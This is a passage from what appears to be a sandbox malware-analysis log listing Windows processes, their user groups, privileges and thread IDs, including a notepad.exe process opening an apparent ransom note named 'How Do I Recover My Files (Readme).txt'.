SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009f6a" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 167 os_tid = 0x10a4 Thread: id = 168 os_tid = 0x10a0 Thread: id = 169 os_tid = 0x109c Thread: id = 170 os_tid = 0x1098 Thread: id = 171 os_tid = 0x1094 Thread: id = 172 os_tid = 0x1090 Thread: id = 173 os_tid = 0x108c Thread: id = 174 os_tid = 0x1084 Process: id = "16" image_name = "wmiprvse.exe" filename = "c:\\windows\\syswow64\\wbem\\wmiprvse.exe" page_root = "0x25302000" os_pid = "0xa8c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "14" os_parent_pid = "0x2a4" cmd_line = "C:\\WINDOWS\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0008ff75" [0xc000000f] Thread: id = 176 os_tid = 0xe04 Thread: id = 177 os_tid = 0x804 Thread: id = 186 os_tid = 0x764 Thread: id = 190 os_tid = 0x1300 Thread: id = 191 os_tid = 0x5c4 Thread: id = 192 os_tid = 0xc90 Thread: id = 194 os_tid = 0x134 Thread: id = 196 os_tid = 0x168 Thread: id = 197 os_tid = 0x1004 Process: id = "17" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x7057c000" os_pid = "0x11d4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "14" os_parent_pid = "0x2a4" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:000aee00" [0xc000000f] Thread: id = 202 os_tid = 0x1308 Thread: id = 203 os_tid = 0x1208 Thread: id = 207 os_tid = 0x10f0 Thread: id = 209 os_tid = 0x12a8 Thread: id = 210 os_tid = 0x12b0 Thread: id = 211 os_tid = 0x1310 Thread: id = 212 os_tid = 0x125c Thread: id = 213 os_tid = 0x12c0 Thread: id = 214 os_tid = 0x53c Process: id = "18" image_name = "notepad.exe" filename = "c:\\windows\\syswow64\\notepad.exe" page_root = "0x2a362000" os_pid = "0x1358" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xac0" cmd_line = "\"C:\\WINDOWS\\system32\\NOTEPAD.EXE\" C:\\How Do I Recover My Files (Readme).txt" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 215 os_tid = 0xe34 Thread: id = 216 os_tid = 0x380 Thread: id = 220 os_tid = 0x12a0 Thread: id = 221 os_tid = 0x8 Thread: id = 222 os_tid = 0xa38 Thread: id = 223 os_tid = 0x1230